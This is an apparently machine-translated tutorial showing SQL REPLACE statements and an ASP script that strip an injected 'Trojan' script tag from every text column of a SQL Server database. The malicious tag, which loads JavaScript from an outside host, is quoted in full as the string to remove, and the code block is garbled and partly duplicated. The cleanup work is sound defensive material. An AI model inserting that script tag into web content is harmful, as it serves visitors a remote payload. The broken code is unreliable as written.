1. directly replace the varchar type.
For example, "Update [t_information] Set publisher = Replace (publisher ,'','')"
2. The text field requires a bit of trouble (more than 8000 requires another solution)
"Update [t_information] Set authorinfor = Replace (cast (authorinfor as varchar (8000 )),'','')"
3. Some special symbols, such as %, can be processed in the following ways
Update [infor_types] Set parentid = Replace (parentid, char (37 ),'')
- <% @ Language = "VBScript" codePage = "936" %>
- <! -- # Include file = "INC/Conn. asp" -->
- <MetaHTTP-equiv = "Content-Type" content = "text/html; charset = gb2312">
- <%
- Server. scripttimeout = 1000000
- 'Xtype = 99 ntext is similar to text. The difference is that the ntext type adopts the Unicode standard character set.
- 'Xtype = 35 text is used to store a large amount of text data.
- 'Xtype = 231 nvarchar is used to define variable-length binary data. The maximum length is 4000 characters.
- 'Xtype = 167 varchar stores variable-length data that can contain up to 8000 characters
- STR = "'<MCE: scriptSrc = "http://e6t.3322.org/c.js" mce_src = "http://e6t.3322.org/c.js"> </MCE: SCRIPT>'"' Trojan code after the text type field
- SQL = "SELECT. name as t_name, B. name as c_name, B. xtype from sysobjects A, syscolumns B where. id = B. ID and. xtype = 'U' and (B. xtype = 99 or B. xtype = 35 or B. xtype = 231 or B. xtype = 167 )"
- Set rs = conn.exe cute (SQL)
- While not Rs. EOF
- T_name = RS ("t_name") 'table name
- C_name = RS ("c_name") 'field name
- Xtype = RS ("xtype") 'field type
- If (xtype = 99 or xtype = 35) then
- Conn.exe cute ("Update [" + t_name + "] Set [" + c_name + "] = Replace (cast ([" + c_name + "] As varchar (8000 )), "+ STR + ",'')")
- Else
- Conn.exe cute ("Update [" + t_name + "] Set [" + c_name + "] = Replace ([" + c_name + "]," + STR + ",'') ")
- End if
- Rs. movenext
- Wend
- Response. Write ("Trojan data has been cleared. Please refresh the page again! ")
- %>
'"' Trojan code after the text type field
SQL = "SELECT. name as t_name, B. name as c_name, B. xtype from sysobjects A, syscolumns B where. id = B. ID and. xtype = 'U' and (B. xtype = 99 or B. xtype = 35 or B. xtype = 231 or B. xtype = 167 )"
Set rs = conn.exe cute (SQL)
While not Rs. EOF
T_name = RS ("t_name") 'table name
C_name = RS ("c_name") 'field name
Xtype = RS ("xtype") 'field type
If (xtype = 99 or xtype = 35) then
Conn.exe cute ("Update [" + t_name + "] Set [" + c_name + "] = Replace (cast ([" + c_name + "] As varchar (8000 )), "+ STR + ",'')")
Else
Conn.exe cute ("Update [" + t_name + "] Set [" + c_name + "] = Replace ([" + c_name + "]," + STR + ",'') ")
End if
Rs. movenext
Wend
Response. Write ("Trojan data has been cleared. Please refresh the page again! ")
%>